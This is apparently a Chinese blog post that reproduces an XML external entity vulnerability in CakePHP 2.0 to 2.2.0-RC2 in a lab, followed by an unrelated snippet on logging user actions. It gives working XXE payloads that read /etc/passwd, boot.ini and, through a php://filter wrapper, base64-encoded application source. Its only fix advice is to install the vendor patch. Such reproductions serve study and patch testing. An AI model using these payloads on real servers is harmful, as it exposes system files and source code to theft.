CakePHP XML外部实体漏洞

CakePHP XML外部实体漏洞

一、CakePHP详解:

CakePHP是一个开源的PHP on rails的full-stack framework。最开始从Ruby On Rails框架里得到灵感。程序员可使用它来快速创建的Web应用程序。我们的首要目的是使你以一种预置的快速且不失灵活性的方式开展工作。

CakePHP 2.0 - 2.2.0-RC2存在XML外部实体注入漏洞,攻击者可利用此漏洞获取本地文件敏感信息。

二、CakePHP漏洞复现:

搭建好环境,访问

http://172.16.12.2/simplexml_load_string.php
 

进行burp抓包,注入poc

Linux:

<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:


<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>

将会读取到passwd文件的内容

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码 

 
<?php
 
phpinfo();
 
?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

三、漏洞修复建议:

安装厂商的补丁 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CakePHP的操作日志记录可以使用CakePHP的内置功能。首先,您需要创建一个名为`operation_logs`的数据库表,其中包含以下字段: - id(主键) - user_id(用户ID) - action(操作名称) - created(创建时间) 接下来,您需要在CakePHP中创建一个`OperationLogsTable`模型来管理`operation_logs`表。该模型应该具有一个`logAction`方法,用于记录操作日志。该方法应该接受三个参数:用户ID,操作名称和记录时间。以下是一个示例实现: ```php // src/Model/Table/OperationLogsTable.php namespace App\Model\Table; use Cake\ORM\Table; class OperationLogsTable extends Table { public function logAction($userId, $action, $timestamp) { $log = $this->newEntity([ 'user_id' => $userId, 'action' => $action, 'created' => $timestamp ]); $this->save($log); } } ``` 现在,您可以在您的应用程序中的任何控制器中使用`OperationLogsTable`模型来记录操作日志。例如: ```php // src/Controller/ArticlesController.php namespace App\Controller; use App\Model\Table\OperationLogsTable; use Cake\Controller\Controller; class ArticlesController extends Controller { public function index() { $this->loadModel('OperationLogs'); $this->OperationLogs->logAction($this->Auth->user('id'), 'viewed articles', time()); // rest of action code } } ``` 此代码将记录一个名为“viewed articles”的操作,该操作由当前已验证用户执行,并在当前时间创建了一个操作日志记录。您可以像这样记录任何操作,只要您想要跟踪和记录。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值